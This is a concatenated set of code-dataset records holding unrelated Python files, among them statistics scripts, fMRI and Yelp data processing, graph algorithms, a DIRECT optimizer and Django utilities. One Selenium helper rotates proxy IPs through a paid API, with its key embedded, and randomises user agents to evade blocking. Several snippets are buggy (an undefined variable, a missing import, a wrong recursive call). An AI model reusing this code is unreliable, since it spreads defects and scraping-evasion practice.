1]['conversion'], \n                                data_dummy.loc[data['test'] == 0]['conversion'], \n                                equal_var=False)\n  \n#this is after removing Argentina and Uruguay\ndata_no_AR_UR = stats.ttest_ind(data_dummy.loc[(data['test'] == 1) & (data_dummy['country_Argentina'] ==  0) & (data_dummy['country_Uruguay'] ==  0)]['conversion'], \n                                data_dummy.loc[(data['test'] == 0) & (data_dummy['country_Argentina'] ==  0) & (data_dummy['country_Uruguay'] ==  0)]['conversion'], \n                                equal_var=False)\n  \nprint(pandas.DataFrame( {\"data_type\" : [\"Full\", \"Removed_Argentina_Uruguay\"], \n                         \"p_value\" : [original_data.pvalue, data_no_AR_UR.pvalue],\n                         \"t_statistic\" : [original_data.statistic, data_no_AR_UR.statistic]\n                         }))","sub_path":"randomization.py","file_name":"randomization.py","file_ext":"py","file_size_in_byte":2514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"387416897","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[5]:\n\n\n#! /usr/bin/python3\n\n#load libraries \nimport os\nimport nibabel as nb\nimport numpy as np\nfrom nilearn import plotting\nimport matplotlib as plt\nimport pandas as pd\n\n\n# In[10]:\n\n\ndef main():\n# This segment of the script will use\\\n# Aseg.mgz: (subcortical segmentation loaded with its corresponding colour table)\\\n# To create masks of ROIs then using cespct.nii.gz (% change in signal)\\\n# Will calculate the change in activation of subcortical regions for each partipant\\\n\n# Creates mask file using aseg.mgz\\\n    SUBJECTS_DIR = os.environ['SUBJECTS_DIR']\n    maskfile = SUBJECTS_DIR + '/fsaverage/mri.2mm/aseg.mgz'\n    mask = nb.load(maskfile).get_fdata()\n# Defines regions of interest, conditions and runs\\\n    rois = {'amy': (18,54), 'cau': (11,50), 'hip': (17,53),  \n            'pal': (13,52), 'put': (12,51), \n            'tha' : (10,49),'vst': (26,58)} \n    rois_names = ['amy_left', 'amy_right', 'cau_left', 'cau_right', 'hip_left', 'hip_right',\n                 'pal_left','pal_right','put_left','put_right',\n                 'tha_left','tha_right', 'vst_left', 'vst_right']\n    conditions = ['csm', 'csp']\n    runwise = ['pr001', 'pr002', 'pr003', 'pr004']\n    subjects = []\n# Creates a date-stamped folder to save the results of the analysis\\ \n    root = '/home/rami/Documents/sync/EmoSal/subjects/'\n    date = pd.to_datetime('today').strftime(\"%d_%m_%Y_\")\n    path = os.path.join('/home/rami/Documents/sync/EmoSal/reports/',date)\n    if not os.path.isdir(path):\n        os.mkdir(path)\n# Retrieves subjects from directory\\\n    files = os.listdir(root)\n    for f in files:\n        if f.startswith('AVL'):\n            subjects.append(f)\n    print('Analyzing data from:')\n    subjects.sort()\n    print(subjects)\n# Creates a pandas dataframe with ID + group + ROIs as column names\\\n    columns = ['ID', 'Status']\n    col_values = []\n    for x in rois_names:\n        for c in conditions:\n            for r in runwise:\n                l = os.path.join(x + '_' + c + '_' + r)\n                col_values.append(l)\n    df = pd.DataFrame(columns=col_values)\n    df_ = pd.DataFrame(columns=columns)\n    df_ = pd.concat([df_, df],axis=1)\n    df_ = df_.reindex(sorted(df_.columns), axis=1)\n# Loops over the subjects, by region, then by condition, then by run\\\n# Then insert data points into dataframe\\\n    for s in subjects:\n        store = [] \n        if int(s[-3:]) < 100:\n            status='control'\n        else:\n            status='FDR'\n        check = os.path.join('/home/rami/Documents/sync/EmoSal/subjects/' + s + '/bold/fc.mni305/csp/cespct.nii.gz')\n        if os.path.isfile(check):\n            print('file exists for:')\n            print(s)\n            for k in rois.keys():\n                lhrh = rois[k]\n                lhidx = np.where(mask==lhrh[0])\n                rhidx = np.where(mask==lhrh[1])    \n                for c in conditions:\n                    for r in runwise:\n                        filename = os.path.join(root + s + '/bold/fc.mni305/' + r + '/' + c +'/cespct.nii.gz')\n                        fMRI = nb.load(filename).get_fdata()\n                        leftpoint = np.mean(fMRI[lhidx])\n                        store.append(leftpoint)\n                    for r in runwise:\n                        filename = os.path.join(root + s + '/bold/fc.mni305/' + r + '/' + c +'/cespct.nii.gz')\n                        fMRI = nb.load(filename).get_fdata()\n                        rightpoint = np.mean(fMRI[rhidx])\n                        store.append(rightpoint)\n                        if len(store) == 112:\n                            g = [s, status]  \n                            d = g + store\n                            swdf=pd.DataFrame(data=[d],columns=df_.columns)\n                            frames = [df_, swdf]\n                            df_ = pd.concat(frames, sort=False)\n# Saves pandas dataframe as a csv in the date-stamped file path\\\n                            date_stamp = os.path.join(path, date + 'ROI_analysis_byrun.csv')\n                            print(date_stamp)\n                            df_.to_csv((date_stamp), index = True, header=True)\n                            g = []\n                            store = []\nif __name__ == \"__main__\":\n    # execute only if run as a script\n    main()\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"ROI_byrun.py","file_name":"ROI_byrun.py","file_ext":"py","file_size_in_byte":4302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"45372070","text":"class Graph():  #directed\n    def __init__(self, n, edge, indexed=1):\n        self.n = n\n        self.graph = [[] for _ in range(n)]\n        self.deg = [0 for _ in range(n)]\n        for e in edge:\n            self.graph[e[0] - indexed].append((e[1] - indexed, e[2]))\n            self.deg[e[1] - indexed] += 1\n\n    def dijkstra(self, s, INF=10**18, restore_to=None):\n        dist = [INF for _ in range(self.n)]\n        dist[s] = 0\n        heap = [(0, s)]\n        while heap:\n            cost, node = heappop(heap)\n            if dist[node] < cost:\n                continue\n            for adj, adjcost in self.graph[node]:\n                if dist[node] + adjcost < dist[adj]:\n                    dist[adj] = dist[node] + adjcost\n                    heappush(heap, (dist[adj], adj))\n        if restore_to is not None:\n            g = restore_to\n            if dist[g] == INF:\n                return dist, False\n            path = [g]\n            node = g\n            while node != s:\n                node = prev[node]\n                path.append(node)\n            return dist, path[::-1]\n        return dist\n\n    def bellman_ford(self, s, t=None, INF=10**18):\n        dist = [INF for _ in range(self.n)]\n        dist[s] = 0\n        update = True\n        for i in range(self.n):\n            update = False\n            for node, g in enumerate(self.graph):\n                for adj, adjcost in g:\n                    if dist[node] != INF and dist[node] + adjcost < dist[adj]:\n                        dist[adj] = dist[node] + adjcost\n                        update = True\n            if not update:\n                return dist[t] if t is not None else dist\n        if t is None:\n            return\n        negative_cycle = [0 for _ in range(self.n)]\n        for i in range(self.n):\n            for node, g in enumerate(self.graph):\n                for adj, adjcost in g:\n                    if dist[node] != INF and dist[node] + adjcost < dist[adj]:\n                        dist[adj] = dist[node] + adjcost\n                        negative_cycle[adj] = True\n        if not negative_cycle[t]:\n            return dist[t]\n\nimport sys\ninput = sys.stdin.readline\n\nN, M = map(int, input().split())\nE = []\n\nfor _ in range(M):\n    a, b, c = map(int, input().split())\n    E.append((a, b, -c))\n\ng = Graph(N, E)\nbf = g.bellman_ford(0, N - 1)\n\nprint(-bf if bf is not None else 'inf')","sub_path":"Python_codes/p03722/s124948367.py","file_name":"s124948367.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"132665395","text":"def GotovoRjesenje(a):\n    import itertools\n    for i in range(0,len(a)+1):\n       print(list(itertools.combinations(a,i)))\n    return 0\n\ndef RucnoRjesenje(a):\n    l=[]\n    for i in range(0, 2**len(a)):\n        x = filter(lambda x: x!= 'None', map(lambda x,y: y if x=='1' else 'None', bin(i)[2:].rjust(len(a), '0'), a))\n        l.append(''.join([z for z in x]))\n    return l\n\ndef BubbleSort(lista, uvjet):\n    numChanges = 1\n    while(numChanges):\n        numChanges=0\n        for i in range(len(lista)-1):\n            if uvjet(lista[i], lista[i+1]):\n                lista[i],lista[i+1] = lista[i+1],lista[i]\n                numChanges+=1\n    return lista\n\na = ['1','2','3']\nl=RucnoRjesenje(a)\nl=BubbleSort(l, lambda x, y: len(x) > len(y))\n\n\n\n\nprint(l)","sub_path":"Zadatak8.py","file_name":"Zadatak8.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"124745935","text":"import re\n\norbits = [re.search(r\"(.*)\\)(.*)\", line).groups() for line in open(\"6.in\").readlines()]\nconn = {orbit[0]: [o[1] for o in orbits if o[0] == orbit[0]] for orbit in orbits}\n\ns = lambda o: set(conn.get(o, [])).union(*[s(_o) for _o in conn.get(o, [])])\nd = lambda o, f: 1 if f in conn.get(o, []) else 1 + sum((d(_o, f) for _o in conn.get(o, []) if search(_o, (f,))))\n\n\ndef search(start=\"COM\", find=(\"YOU\", \"SAN\")):\n    if len(set(find) & s(start)) == len(find):\n        if not any(search(orbit) for orbit in conn.get(start, [])):\n            if len(find) == 2:\n                print(d(start, \"YOU\") + d(start, \"SAN\") - 2)\n        return True\n    else:\n        return False\n\n\nprint(\"PART 2\",)\nsearch()\n","sub_path":"2019/6/Day6 P2.py","file_name":"Day6 P2.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"200117209","text":"#-*- coding: utf-8 -*-\nfrom typing import List\nimport math\n\nimport time\ndef timeit(func):\n    def wrapped(*args, **kwargs):\n        start = time.time()\n        ret = func(*args, **kwargs)\n        elapsed = time.time() - start\n        print(\"elapsed: %s\" % elapsed)\n        return ret\n    return wrapped\n\nimport sys\nsys.setrecursionlimit(314159265)\n\nclass Node:\n    def __init__(self, val=None, children=None):\n        self.val = val\n        self.children = children\n\nclass Solution:\n    def __init__(self):\n        self.order = []\n    def rec(self, root) -> List[int]:\n        if root is None: return\n        self.order.append(root.val)\n        for child_node in root.children:\n            self.preorder(child_node)\n\n    def preorder(self, root) -> List[int]:\n        self.rec(root)\n        return self.order\n\n\n# follow up\n# Recursive solution is trivial, could you do it iteratively?\n    \"\"\"\n    あちゃー\n    わからんかったわ。また。\n    だからdiscussionみた。\n    https://leetcode.com/problems/n-ary-tree-preorder-traversal/discuss/454317/Python-recursive-and-iterative-solution-easy-to-understand\n    \"\"\"\nclass Solution:\n    def preorder(self, root) -> List[int]:\n\n        stack, order = [], []\n        curr = root\n        i = 0\n        while curr or len(stack) > 0:\n            i = 0\n            if curr: #ポインタがあるとき\n                # do something\n                order.append(curr.val)\n                stack.append((curr, i))\n                if len(curr.children) > i:\n                    curr = curr.children[i] # 左にすすめ\n                else:\n                    curr = None\n                    i = 0\n            else: #stackがあるので\n                curr, i = stack.pop()\n                i = i + 1 # I want do next one!\n                # do something\n                #curr = curr.right # 右にすすめ\n                if len(curr.children) > i:\n                    stack.append((curr, i))\n                    curr = curr.children[i] # 左にすすめ\n                else:\n                    curr = None\n                    i = 0\n\n        return order\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"lc/esy/20191224_esy_589_n-ary_tree_preorder_traversal.py","file_name":"20191224_esy_589_n-ary_tree_preorder_traversal.py","file_ext":"py","file_size_in_byte":2129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"288788541","text":"#!/usr/bin/env python\n\n\nfrom st2actions.runners.pythonrunner import Action\n\n\nclass ParseDnsMessage(Action):\n    def run(self, message=None):\n        found_ip = False\n        threat_ip = None\n\n        if message is not None:\n            threat_ip_str = None\n            str_list = message.split(\" \")\n            for str in str_list:\n                if found_ip:\n                    threat_ip_str = str\n                    found_ip = False\n                    break;\n\n                if str =='IP':\n                    found_ip = True\n\n            if threat_ip_str is not None and ':' in threat_ip_str:\n                found_ip = True\n                ip_list = threat_ip_str.split(\":\")\n                threat_ip = ip_list[0] \n\n        return found_ip, {\"threat_ip\":threat_ip}\n\n","sub_path":"xmc/actions/parse_dns_message.py","file_name":"parse_dns_message.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"461925908","text":"import logging\n\nfrom django.db.models import get_apps\nfrom django.core.exceptions import MiddlewareNotUsed\nfrom django.utils.importlib import import_module\nfrom django.utils.functional import memoize\nfrom django.utils.module_loading import module_has_submodule\n\nfrom . import app_settings\n\ndef configure_logging(level, format, filename):\n    \"\"\"\n    Like ``logging.basicConfig`` but we use WatchedFileHandler so that we play\n    nicely with logrotate and similar tools.\n\n    We also unconditionally remove all existing handlers.\n    \"\"\"\n\n    logging.root.handlers = []\n\n    handler = logging.StreamHandler()\n    if filename:\n        handler = logging.handlers.WatchedFileHandler(filename)\n\n    handler.setFormatter(logging.Formatter(format))\n\n    logging.root.addHandler(handler)\n\n    if level is not None:\n        logging.root.setLevel(level)\n\ndef get_path(path):\n    module_name, attr = path.rsplit('.', 1)\n\n    module = import_module(module_name)\n\n    return getattr(module, attr)\n\ndef get_backend():\n    return get_path(app_settings.BACKEND)()\n\ndef get_middleware():\n    middleware = []\n\n    for path in app_settings.MIDDLEWARE:\n        try:\n            middleware.append(get_path(path)())\n        except MiddlewareNotUsed:\n            pass\n\n    return middleware\n\ndef import_all_submodules(name):\n    for app_module in get_apps():\n        parts = app_module.__name__.split('.')\n        prefix, last = parts[:-1], parts[-1]\n\n        try:\n            import_module('.'.join(prefix + [name]))\n        except ImportError:\n            # Distinguise between tasks.py existing and failing to import\n            if last == 'models':\n                app_module = import_module('.'.join(prefix))\n\n            if module_has_submodule(app_module, name):\n                raise\n\ntry:\n    import setproctitle\n\n    original_title = setproctitle.getproctitle()\n\n    def set_process_title(*titles):\n        setproctitle.setproctitle(\"%s %s\" % (\n            original_title,\n            ' '.join('[%s]' % x for x in titles),\n        ))\nexcept ImportError:\n    def set_process_title(*titles):\n        pass\n\nget_path = memoize(get_path, {}, 1)\nget_backend = memoize(get_backend, {}, 0)\nget_middleware = memoize(get_middleware, {}, 0)\n","sub_path":"django_lightweight_queue/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"443643784","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\n\nimport os\nimport re\nimport string\n\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport pandas_profiling\nimport matplotlib.pyplot as plt\nimport calendar\nmonth_to_num = dict((v,k) for k,v in enumerate(calendar.month_abbr))\nimport pickle\n\nfrom nltk.tokenize import WordPunctTokenizer\nfrom nltk.corpus import stopwords\nfrom nltk.stem import SnowballStemmer\n\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.decomposition import TruncatedSVD\n\n# macro\ndir_project = '/home/jzhu/Documents/CS221/CS221_Project/'\ndir_data = dir_project+'/01_data/Yelp_Challenge/yelp_dataset/'\ndir_model_data = dir_project+'/01_data/model_data'\nnum_load_chunk = 500\nnum_review_in_sample = 20\nnum_categories_components = 50\n\n\n# Business Data\ndf_yelp_business = pd.read_json(dir_data+'/business.json', lines=True)\ndf_yelp_business.fillna('NA', inplace=True)\n# we want to make sure we only work with restaurants -- nothing else\ndf_yelp_business = df_yelp_business[df_yelp_business['categories'].str.contains('Restaurants')]\nprofile = pandas_profiling.ProfileReport(df_yelp_business)\nprofile.to_file(outputfile=\"../03_analysis/Business_report.html\")\n\nvectorizer_categories = CountVectorizer(min_df = 1, max_df = 1., tokenizer = lambda x: x.split(', '))\nvectorized_categories = vectorizer_categories.fit_transform(df_yelp_business['categories'])\nprint(vectorized_categories.shape)\ncount_categories = vectorized_categories.sum(axis=0)\ndf_yelp_business_categories = pd.DataFrame({'count':vectorized_categories.sum(axis=0).tolist()[0]}, index = vectorizer_categories.get_feature_names())\ndf_yelp_business_categories.quantile(np.arange(0, 1, 0.1))\ndf_yelp_business_categories.sort_values(by=['count'], ascending=False)\ndf_yelp_business_categories.to_csv(dir_model_data + '/Business_categories_summary.csv')\nsvd_test = []\nfor n in range(1, 8):\n    i = 2**n\n    svd = TruncatedSVD(n_components=i, n_iter=10, random_state=42)\n    svd_output = svd.fit_transform(vectorized_categories)\n    i_var = svd.explained_variance_ratio_.sum()\n    svd_test.append(i_var)\n    print(\"%d components explaine percentage %s\\n\" % (i, i_var))\nplt.plot(x=[2, 4, 8, 16, 32, 64, 128], y=svd_test)\nplt.show()\ni=num_categories_components\nsvd = TruncatedSVD(n_components=i, n_iter=10, random_state=42)\nsvd_output = svd.fit_transform(vectorized_categories)\ni_var = svd.explained_variance_ratio_.sum()\nprint(\"%d components explaine percentage %s\\n\" % (i, i_var))\ndf_yelp_business_categories_svd = pd.DataFrame(data = svd_output, \n                                               columns = ['categories{}'.format(n) for n in range(1, i+1)],\n                                               index = df_yelp_business.index)\ndf_yelp_business = df_yelp_business.join(df_yelp_business_categories_svd,\n                                         how = 'inner')\n\ndf_yelp_business = df_yelp_business.drop(columns=['address', 'hours', 'attributes', 'categories'])\nprint('Final Business Shape: ',df_yelp_business.shape)\nprint('Final Business columns: ',df_yelp_business.columns)\n\n\n# Review Data\ndf_yelp_review_iter = pd.read_json(dir_data+'/review.json', chunksize=10000, lines=True)\ndf_yelp_review = pd.DataFrame()\ni=0   \nfor df in df_yelp_review_iter:\n    # keep revent review\n    df = df[df['business_id'].isin(df_yelp_business['business_id'])]\n    # convert review date tp year month\n    df['date'] = pd.to_datetime(df['date'])\n    df['year'] = df['date'].dt.year\n    df['month'] = df['date'].dt.month\n    df_yelp_review = pd.concat([df_yelp_review, df])\n    i=i+1\n    if i==num_load_chunk: break\nprofile = pandas_profiling.ProfileReport(df_yelp_review)\nprofile.to_file(outputfile=\"../03_analysis/Review_report.html\")\ndf_yelp_review = df_yelp_review.drop(columns=['date'])\n\ndf_count = df_yelp_review.groupby(['user_id']).size().to_frame(name='count_in_sample')\ndf_count['count_in_sample'].hist(bins=100)\ndf_count = df_count[df_count['count_in_sample']>=num_review_in_sample]\n\nprint('Final Review Shape: ',df_yelp_review.shape)\nprint('Final Review columns: ',df_yelp_review.columns)\n\n# User Data\ndf_yelp_user_iter = pd.read_json(dir_data+'/user.json', chunksize=10000, lines=True)\ndf_yelp_user = pd.DataFrame()\ni=0   \nfor df in df_yelp_user_iter:\n    df = df[df['user_id'].isin(df_yelp_review['user_id'])]\n    # keep only user with more than 50 reviews    \n    df = df[df['user_id'].isin(df_count.index)]\n    df_yelp_user = pd.concat([df_yelp_user, df])\n    i=i+1\n    if i==num_load_chunk: break\nprofile = pandas_profiling.ProfileReport(df_yelp_user)\nprofile.to_file(outputfile=\"../03_analysis/User_report.html\")\ndf_yelp_user.fillna('NA', inplace=True)\nprint('Final User Shape: ',df_yelp_user.shape)\nprint('Final User columns: ',df_yelp_user.columns)\n\n\n\n# Merge all\n\ndf_yelp_review = df_yelp_review[df_yelp_review['user_id'].isin(df_yelp_user['user_id'])]\ndf_yelp_review = df_yelp_review[df_yelp_review['business_id'].isin(df_yelp_business['business_id'])]\n\ndf_yelp_business['business_id'].dtypes\ndf_yelp_review['business_id'].dtypes\ndf_yelp_user['user_id'].dtypes\ndf_yelp_review['user_id'].dtypes\n\nall_merged = df_yelp_review.join(df_yelp_business, on='business_id', how='inner',\n                                 lsuffix='review_', rsuffix='business')\nall_merged = df_yelp_review.join(df_yelp_user, on='user_id', how='inner',\n                                 lsuffix='review_', rsuffix='business')\n\n\n#save\npickle.dump(df_yelp_business,  open( dir_model_data+'/df_yelp_business.p', \"wb\" ))\ndf_yelp_business.to_csv(dir_model_data+'/df_yelp_business.csv')\n\npickle.dump(df_yelp_user,  open( dir_model_data+'/df_yelp_user.p', \"wb\" ))\ndf_yelp_user.to_csv(dir_model_data+'/df_yelp_user.csv')\n\npickle.dump(df_yelp_review,  open( dir_model_data+'/df_yelp_review.p', \"wb\" ))\ndf_yelp_review.to_csv(dir_model_data+'/df_yelp_review.csv')","sub_path":"02_code/temp.py","file_name":"temp.py","file_ext":"py","file_size_in_byte":5911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"192803954","text":"from pprint import pprint\n\nfrom selenium import webdriver\nimport time, math\nimport re\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support.wait import WebDriverWait\nimport traceback\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nimport requests\nfrom selenium.common.exceptions import WebDriverException\nfrom selenium.common.exceptions import NoSuchElementException\nfrom threading import Semaphore\nfrom lmf.dbv2 import db_write\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\nfrom lmfscrap.fake_useragent import UserAgent\nimport random\nimport json\n\nua = UserAgent()\nsema = Semaphore()\n\n\ndef init_driver(ip=False, headless=False, image_show=1, pageloadtimeout=60, pageloadstrategy=\"normal\"):\n    chrome_option = webdriver.ChromeOptions()\n    if ip:\n        ip = get_ip()\n        chrome_option.add_argument(\"--proxy-server=http://%s\" % (ip))\n\n    if headless:\n        chrome_option.add_argument(\"--headless\")\n        chrome_option.add_argument(\"--no-sandbox\")\n        chrome_option.add_argument('--disable-gpu')\n\n    prefs = {\n        'profile.default_content_setting_values': {'images': image_show, }\n    }\n\n    chrome_option.add_experimental_option(\"prefs\", prefs)\n    chrome_option.add_argument('--start-maximized')\n    caps = DesiredCapabilities().CHROME\n    caps[\"pageLoadStrategy\"] = pageloadstrategy\n    args = {\"desired_capabilities\": caps, \"chrome_options\": chrome_option}\n    driver = webdriver.Chrome(**args)\n\n    driver.set_page_load_timeout(pageloadtimeout)\n\n    return driver\n\n\ndef get_ip():\n    ###5鍒嗛挓\n    # get_ip_url=\"http://t.11jsq.com/index.php/api/entry?method=proxyServer.generate_api_url&packid=0&fa=0&fetch_key=&groupid=0&qty=1&time=101&pro=&city=&port=1&format=txt&ss=1&css=&dt=1&specialTxt=3&specialJson=&usertype=2\"\n    ###1鍒嗛挓\n    get_ip_url = \"http://zhulong.v4.dailiyun.com/query.txt?key=NPACB534AB&word=&count=1&rand=false&detail=false\"\n    ###1-5鍒嗛挓\n    # get_ip_url=\"http://ip.11jsq.com/index.php/api/entry?method=proxyServer.generate_api_url&packid=0&fa=0&fetch_key=&groupid=0&qty=1&time=1&pro=&city=&port=1&format=txt&ss=1&css=&dt=1&specialTxt=3&specialJson=&usertype=2\"\n    # print(self.get_ip_url)\n    # get_ip_url=\"http://192.168.1.170/random\"\n\n    sema.acquire()\n    i = 3\n    try:\n        url = get_ip_url\n        r = requests.get(url, timeout=40, headers={'User-Agent': ua.random})\n        time.sleep(1)\n        ip = r.text\n        while re.match(\"[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}:[0-9]{1,5}\", ip) is None and i > 0:\n            time.sleep(3 - i)\n            i -= 1\n            url = get_ip_url\n            r = requests.get(url, timeout=40, headers={'User-Agent': ua.random})\n            time.sleep(1)\n            ip = r.text\n\n    except:\n        ip = {}\n    finally:\n        sema.release()\n\n    return ip.strip()","sub_path":"py_grab_test/get_driver.py","file_name":"get_driver.py","file_ext":"py","file_size_in_byte":2900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"182331370","text":"\"\"\"\ninheritance-diagram:: dfo.optimizer.direct\n    :parts: 1\n\"\"\"\n\n\nfrom misc.debug import DbgMsgOut, DbgMsg\nfrom .base import BoxConstrainedOptimizer\nfrom numpy import max, min, abs, array\nimport numpy as np\nimport heapq\n\n__all__ = ['Cube', 'DIRECT']\n\n\nclass Cube(object):\n    def __init__(self, x, f, depth):\n        self.x = array(x)\n        self.f = f\n        self.ndim = self.x.shape[0]\n        self.depth = depth\n\n    def increase_depth(self, i=None):\n        if i is not None:\n            self.depth[i] += 1\n        else:\n            for i in range(self.ndim):\n                self.depth[i] += 1\n\n\nclass DIRECT(BoxConstrainedOptimizer):\n    def __init__(self, function, xlo=None, xhi=None, debug=0, fstop=None, maxiter=None):\n\n        BoxConstrainedOptimizer.__init__(self, function, xlo, xhi, debug, fstop, maxiter, cache=True)\n\n        self.pq_cache = None\n        self.eps = 1e-2\n        self.K = 0\n        self.max_depth = 5\n        self.visited = []\n\n    def check(self):\n        \"\"\"\n        Checks the optimization algorithm's settings and raises an exception if\n        something is wrong.\n        \"\"\"\n        BoxConstrainedOptimizer.check(self)\n\n        # if self.samplesize is None:\n        #     raise Exception(DbgMsg(\"DIRECT\", \"The sample size should not be None.\"))\n\n    def reset(self, x0):\n        \"\"\"\n        Puts the optimizer in its initial state and sets the initial point to\n        be the 1-dimensional array *x0*. The length of the array becomes the\n        dimension of the optimization problem (:attr:`ndim` member). The shape\n        of *x* must match that of *xlo* and *xhi*.\n        \"\"\"\n        BoxConstrainedOptimizer.reset(self, x0)\n        # Debug message\n        if self.debug:\n            DbgMsgOut(\"DIRECT\", \"Resetting DIRECT\")\n\n    def run(self):\n        \"\"\"\n        Run the DIRECT algorithm.\n        \"\"\"\n        # Debug message\n        if self.debug:\n            DbgMsgOut(\"CSOPT\", \"Starting a coordinate search run at i=\" + str(self.niter))\n\n        # Reset stop flag\n        self.stop = False\n\n        # Check\n        self.check()\n\n        self.x = 0.5 * np.ones(shape=(self.ndim,))\n        self.f = self.fun(self.denormalize(self.x))\n\n        # pq: potentiality, f(center), depth\n        self.pq_cache = [(self.f - 1.0 / 3.0 * self.K, 1, Cube(self.x, self.f, np.ones(shape=(self.ndim,))))]\n\n        while not self.stop and self.pq_cache:\n            val, it, cube = heapq.heappop(self.pq_cache)\n            self.update_cube(cube)\n            x, depth = cube.x, cube.depth\n            minimum_depth = min(depth)\n            # print(\"depth: \", depth)\n            if self.debug:\n                DbgMsgOut(\"DIRECT\", \"Cube.f =\" + str(cube.f))\n\n            inc_index, better_index, same_index, worse_index = [], [], [], []\n            for i in range(self.ndim):\n                # try points with length of the maximum side of hyper-rectangle\n                if depth[i] == minimum_depth:\n                    x[i] -= (1 / 3)**depth[i]\n                    improved = self.update_potential_rectangle(x, depth, i)\n                    if improved == 0:\n                        same_index.append(i)\n                    elif improved > 0:\n                        better_index.append(i)\n                    else:\n                        worse_index.append(i)\n                    x[i] += 2 * (1 / 3)**depth[i]\n                    improved = self.update_potential_rectangle(x, depth, i)\n                    if improved == 0:\n                        same_index.append(i)\n                    elif improved > 0:\n                        better_index.append(i)\n                    else:\n                        worse_index.append(i)\n                    x[i] -= (1 / 3) ** depth[i]\n                    inc_index.append(i)\n\n            if better_index != [] and worse_index != []:\n                # Decrease the size of the cube and save it in the cache\n                for idx in inc_index:\n                    cube.increase_depth(idx)\n                self.niter += 1\n\n                # Push the smaller cube into the cache centering at self.x\n                heapq.heappush(self.pq_cache, (cube.f - 0.5**depth[0] * self.K, self.niter, cube))\n\n            if self.debug:\n                DbgMsgOut(\"DIRECT\", \"Iteration i=\" + str(self.niter) + \" fbest=\" + str(self.f))\n\n    def update_cube(self, cube):\n        '''\n        :param cube: class Cube object\n        :return: None\n        '''\n        # print(\"update cube\")\n        x = cube.x\n        depth = cube.depth\n        for i in range(self.ndim):\n            if self.cache.isVisited(x + (1.0 / 3.0)**depth[i]) or self.cache.isVisited(x - (1.0 / 3.0)**depth[i]):\n                cube.increase_depth(i)\n        # print(\"cube's depth: \", cube.depth)\n\n    def update_potential_rectangle(self, x, depth, i):\n        '''\n        Check potentially Potential Hyper-rectangles.\n        :param x:\n        :param depth:\n        :param i:\n        :return: updated or not\n        '''\n        # print(\"x::::::::::\", x)\n        f = self.fun(self.denormalize(x))\n        if depth[i] <= self.max_depth and f <= self.f:\n\n            # build new cube with x_new, depth_new\n            x_new = x.copy()\n            depth_new = depth.copy()\n            depth_new[i] += 1\n            cube = Cube(x_new, f, depth_new)\n            heapq.heappush(self.pq_cache, (f - self.K * 0.5**depth_new[i], self.niter, cube))\n\n        if f < self.f:\n            self.f = f\n            self.x = x.copy()\n            if self.debug:\n                DbgMsgOut(\"DIRECT\", \"Better centers found in iteration i=\" + str(self.niter) + \" fbest=\" + str(self.f))\n            return 1\n        elif f == self.f:\n            return 0\n        else:\n            return -1\n","sub_path":"optimizer/direct.py","file_name":"direct.py","file_ext":"py","file_size_in_byte":5690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"557724855","text":"# -*- coding: utf-8 -*-\n# @Author: weisc\n# @Date:   2019-09-17 13:02:55\n# @Last Modified by:   Caroline Weis\n# @Last Modified time: 2020-01-06 13:25:11\n## -*- coding: utf-8 -*-\n\n#-----------------------------------------------------------------------------\n# utils file for main_ms.py\n#\n# Feb 2018 C. Weis\n#-----------------------------------------------------------------------------\nimport numpy as np\nimport scipy as sp\nimport cPickle as pickle\nimport os, xlrd, matplotlib, csv, re, six, operator\nfrom string import ascii_letters\nfrom collections import Counter, namedtuple\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom matplotlib import gridspec, colors\nfrom matplotlib.ticker import NullFormatter\nimport matplotlib.patches as mpatches\nfrom sklearn.metrics import roc_auc_score, confusion_matrix, f1_score, roc_curve, auc, precision_recall_curve, average_precision_score\nfrom sklearn.svm import SVC\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.decomposition import IncrementalPCA\nfrom sklearn.manifold import TSNE, MDS, SpectralEmbedding, Isomap\n\nfrom scipy.spatial.distance import cdist\nfrom scipy.spatial import distance_matrix\nfrom scipy.stats import chisquare, ttest_ind\nfrom sklearn.metrics.ranking import _binary_clf_curve\n\nfrom itertools import compress\nfrom collections import defaultdict as ddict\nmatplotlib.pyplot.switch_backend('agg')\n\n\n\ndef calc_pos_class_ratio(y):\n    num1 = sum(y == 1)\n    num0 = sum(y == 0)\n    if num1 == 0:\n        pos_class_ratio = int(0)\n    elif num1 == 0 and num0 == 0:\n        pos_class_ratio = int(0)\n    else:\n        pos_class_ratio = num1 / float(num1 + num0)\n    return pos_class_ratio\n\n\ndef 